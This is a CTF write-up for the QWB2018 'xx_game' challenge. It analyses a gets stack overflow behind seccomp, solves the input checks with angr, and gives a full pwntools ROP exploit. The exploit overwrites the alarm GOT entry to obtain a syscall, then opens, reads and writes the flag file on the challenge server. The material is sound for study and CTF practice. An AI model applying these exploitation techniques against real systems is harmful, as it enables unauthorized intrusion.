Posts List
  1. Analyse
  2. Using Angr
  3. ROP
  4. EXP

QWB2018 xx_game Write Up

Analyse

It’s a game, which provides you a different base64 encoded string of binary when you connect the server each time.

load the binary into ida.

1
2
3
4
5
6
7
8
9
10
11
signed __int64 __fastcall main(signed int a1, char **argv, char **a3)
{
int num; // eax

some_init();
alarm(0x14u);
if ( a1 <= 1 )
exit(0);
num = atoi(argv[1]);
return calc_vuln(num);
}

It takes the second command line parameter as the input of the atoi to get an integer, which be taken by calc_vuln.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
signed __int64 __fastcall calc_vuln(int num)
{
int v2; // [rsp+Ch] [rbp-2E4h]
char buf; // [rsp+10h] [rbp-2E0h]
unsigned __int8 *v4; // [rsp+2E8h] [rbp-8h]

v2 = num;
v4 = (unsigned __int8 *)&v2;
if ( (BYTE1(v2) + 21326) * (15391 % HIBYTE(num)) != 556894
|| v4[2] + 17401 + 13660 - v4[1] != 31186
|| 6019 / v4[3] * 7995 * v4[2] != 298037610
|| 29267 / v4[1] - (v4[1] + 65447) != -65226 )
{
return 0LL;
}
seccomp_add();
gets((__int64)&buf);
return 1LL;
}

In the calc_vuln, there is a obviously stack overflow vulnerability with gets. But the num should pass some unkind calculations, or the function will return directly.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
__int64 seccomp_add()
{
__int64 a1; // [rsp+78h] [rbp-8h]

a1 = seccomp_init(0LL);
if ( !a1 )
exit(0);
seccomp_rule_add_exact(a1, 0x7FFF0000LL, 0LL, 0LL);//read
seccomp_rule_add_exact(
a1,
0x7FFF0000LL,
1LL,
3LL,
0x400000000LL,
1LL,
0LL,
0x400000001LL,
0x602100LL,
0LL,
0x300000002LL,
0x80LL,
0LL); //write
seccomp_rule_add_exact(a1, 0x7FFF0000LL, 1LL, 1LL, 0x400000000LL, 2LL, 0LL);
seccomp_rule_add_exact(a1, 0x7FFF0000LL, 2LL, 0LL);//open
seccomp_rule_add_exact(a1, 0x7FFF0000LL, 60LL, 0LL);
seccomp_rule_add_exact(a1, 0x7FFF0000LL, 231LL, 0LL);
seccomp_rule_add_exact(a1, 0x7FFF0000LL, 3LL, 0LL);
seccomp_rule_add_exact(a1, 0x7FFF0000LL, 15LL, 0LL);
seccomp_rule_add_exact(a1, 0x7FFF0000LL, 12LL, 0LL);
seccomp_rule_add_exact(a1, 0x7FFF0000LL, 5LL, 0LL);
if ( (signed int)seccomp_load(a1) < 0 )
{
seccomp_release(a1);
exit(0);
}
return seccomp_release(a1);
}

In the seccomp_add, it restricts us from using syscall, for example we could use read, write, open .. but execve. Besides, it seems to restrain the addr of write ( Only 0x602100 ).

The logic is simple and target is clear. Since the base64 encoded string are different each time, we cannot calculate the correct num just once. We need to get it automatically when we connect the server.

Using Angr

Angr is a python framework for analyzing binaries. It combines both static and dynamic symbolic (“concolic”) analysis, making it applicable to a variety of tasks.

First we load the binary as project

1
p = angr.Project('./xx_game',auto_load_libs=False)

Then we need to get a state, this time I choose the entry of calc_vuln (0x400BC5)

1
st = p.factory.blank_state(addr=0x400BC5)
1
2
3
4
5
6
7
8
9
.text:0000000000400BC5 calc_vuln       proc near               ; CODE XREF: main+4D↓p
.text:0000000000400BC5
.text:0000000000400BC5 var_2E4 = dword ptr -2E4h
.text:0000000000400BC5 var_2E0 = byte ptr -2E0h
.text:0000000000400BC5 var_8 = qword ptr -8
.text:0000000000400BC5
.text:0000000000400BC5 ; __unwind {
.text:0000000000400BC5 push rbp
.text:0000000000400BC6 mov rbp, rsp

Since the blank_state has many uninitialized data, we must initialise some data get the simulator of angr running.

1
2
3
4
5
st.regs.rbp = 0xffffffd800000
st.regs.rsp = 0xffffffe800000
num = claripy.BVS('num',4*8)
st.memory.store(st.regs.rbp-0x100,num)
st.regs.rdi = num

Set the rbp & rsp to the addr, which is always writable in x86_64. Symbolize a num,set it to the parameter of this func (rdi) and store it.

1
2
3
sm = p.factory.simgr(st)
sm.explore()
res = sm.deadended[0].se.eval(num, cast_to=int)

Run the simulator and when it’s done, we could solve the symbol and got the num.

ROP

Since it does not import some useful function like read, write and open, we need to find an int 0x80 or syscall.

1
2
3
4
5
6
7
8
9
10
11
gdb-peda$ x/50i 0x00007efc53574200
0x7efc53574200 <alarm>: mov eax,0x25
0x7efc53574205 <alarm+5>: syscall
0x7efc53574207 <alarm+7>: cmp rax,0xfffffffffffff001
0x7efc5357420d <alarm+13>: jae 0x7efc53574210 <alarm+16>
0x7efc5357420f <alarm+15>: ret
0x7efc53574210 <alarm+16>: mov rcx,QWORD PTR [rip+0x2f7c61] # 0x7efc5386be78
0x7efc53574217 <alarm+23>: neg eax
0x7efc53574219 <alarm+25>: mov DWORD PTR fs:[rcx],eax
0x7efc5357421c <alarm+28>: or rax,0xffffffffffffffff
0x7efc53574220 <alarm+32>: ret

Alarm+5 is a syscall, so we need to change got[‘alarm’].

1
xchg byte ptr [rdi], dl ; and byte ptr [rax], al ; add ebx, esi ; ret

We could use the magic gadget. First we set the rdi to buf and call gets to push ‘\x05’ on it, and then we set the rdi to got[‘alarm’] and call the gadget, we could change the lowest byte to ‘\x05’. Finally we get a syscall at got[‘alarm’].

If we get a syscall, we could ROP as usual using some gadget (#1 & #2) in init funciton of x86_64.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
.text:0000000000400D90 loc_400D90:                             ; CODE XREF: init+54↓j
.text:0000000000400D90 mov rdx, r13 #1
.text:0000000000400D93 mov rsi, r14
.text:0000000000400D96 mov edi, r15d
.text:0000000000400D99 call qword ptr [r12+rbx*8]
.text:0000000000400D9D add rbx, 1
.text:0000000000400DA1 cmp rbx, rbp
.text:0000000000400DA4 jnz short loc_400D90
.text:0000000000400DA6
.text:0000000000400DA6 loc_400DA6: ; CODE XREF: init+34↑j
.text:0000000000400DA6 add rsp, 8
.text:0000000000400DAA pop rbx #2
.text:0000000000400DAB pop rbp
.text:0000000000400DAC pop r12
.text:0000000000400DAE pop r13
.text:0000000000400DB0 pop r14
.text:0000000000400DB2 pop r15
.text:0000000000400DB4 retn

Since rax control the syscall, we could use atoi function to set rax to any value we want.

EXP

Since the binary varies each time, We also need to get these gadgets and the size of stack overflow automatically, using pwntools.

Process: use angr to get num -> set alarm to syscall -> open -> read -> write

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
from pwn import *
import pwnlib, time
import os
import angr,claripy

s = None
def ru(delim):
return s.recvuntil(delim, timeout=4)

def rn(count):
return s.recvn(count)

def sl(data):
return s.sendline(data)

def sn(data):
return s.send(data)

def get_num():
p = angr.Project('./xx_game',auto_load_libs=False)
st = p.factory.blank_state(addr=0x400BC5)
st.regs.rbp = 0xffffffd800000
st.regs.rsp = 0xffffffe800000
num = claripy.BVS('num',4*8)
st.memory.store(st.regs.rbp-0x100,num)
st.regs.rdi = num
sm = p.factory.simgr(st)
sm.explore()
res = sm.deadended[0].se.eval(num, cast_to=int)
return res

def pwn():
global s
context(os='linux',arch='amd64')
debug = 1
logg = 0
if debug:
s = process(['./xx_game','14111192'])
else:
s = remote('117.50.14.29', 2333)
ru('data info------------------\n')
b64 = ru('\n')[:-1]
os.system('echo %s | base64 -d > xx_game'%b64)
num = get_num()
log.success("num is %s"%str(num))
ru('game:')
sl(str(num))
if logg:
context.log_level = 'debug'

elf = ELF('./xx_game')
rop = ROP(elf)
pad = u16(elf.read(0x400BCC,2)) - 8

init = u32(elf.read(elf.entry + 0x19, 0x4))
pop_six = init+0x5a
to_call = init+0x40

pop_rdi_ret = rop.search(regs=['rdi'], order = 'regs').address
pop_rsi_r15_ret = rop.search(regs=['rsi','r15'], order = 'regs').address
xchg = 0x4008f5 #xchg byte ptr [rdi], dl ; and byte ptr [rax], al ; add ebx, esi ; ret
buf = 0x602100

log.success("padding = %s"%hex(pad))
log.success("pop_rdi_ret = %s"%hex(pop_rdi_ret))
log.success("pop_rsi_ret = %s"%hex(pop_rsi_r15_ret))

#gdb.attach(s,"b *0x400CF4")

payload = 'A'*pad
payload += p64(pop_rdi_ret)
payload += p64(buf+0x30)
payload += p64(elf.plt['gets']) # gets will set rax -> buf

payload += p64(pop_rdi_ret)
payload += p64(buf+0x30)
payload += p64(xchg)

payload += p64(pop_rdi_ret)
payload += p64(elf.got['alarm'])
payload += p64(xchg) #set alarm to syscall

payload += p64(pop_rdi_ret)
payload += p64(buf+0x40)
payload += p64(elf.plt['atoi']) #set rax-> 2 open
payload += p64(pop_rdi_ret)
payload += p64(buf+0x38) #"./flag"
payload += p64(pop_rsi_r15_ret)
payload += p64(0)
payload += p64(0xdeadbeef)
payload += p64(elf.plt['alarm']) #open

payload += p64(pop_rdi_ret)
payload += p64(buf+0x48)
payload += p64(elf.plt['atoi']) #set rax-> 0 read
payload += p64(pop_six)
payload += p64(0)
payload += p64(1)
payload += p64(elf.got['alarm']) #read
payload += p64(0x30)
payload += p64(buf)
payload += p64(3)
payload += p64(to_call)
payload += p64(0xdeadbeef)*7

payload += p64(pop_rdi_ret)
payload += p64(buf+0x50)
payload += p64(elf.plt['atoi']) #set rax-> 1 write
payload += p64(pop_six)
payload += p64(0)
payload += p64(1)
payload += p64(elf.got['alarm']) #write
payload += p64(0x30)
payload += p64(buf)
payload += p64(1)
payload += p64(to_call)
payload += p64(0xdeadbeef)*7

assert '\n' not in payload

#raw_input()
s.sendline(payload)

payload2 = p64(5)
payload2 += "./flag"+'\x00'*2
payload2 += '2'+'\x00'*7
payload2 += '0'+'\x00'*7
payload2 += '1'+'\x00'*7
#raw_input()
s.sendline(payload2)

s.interactive()
if __name__ == '__main__':
pwn()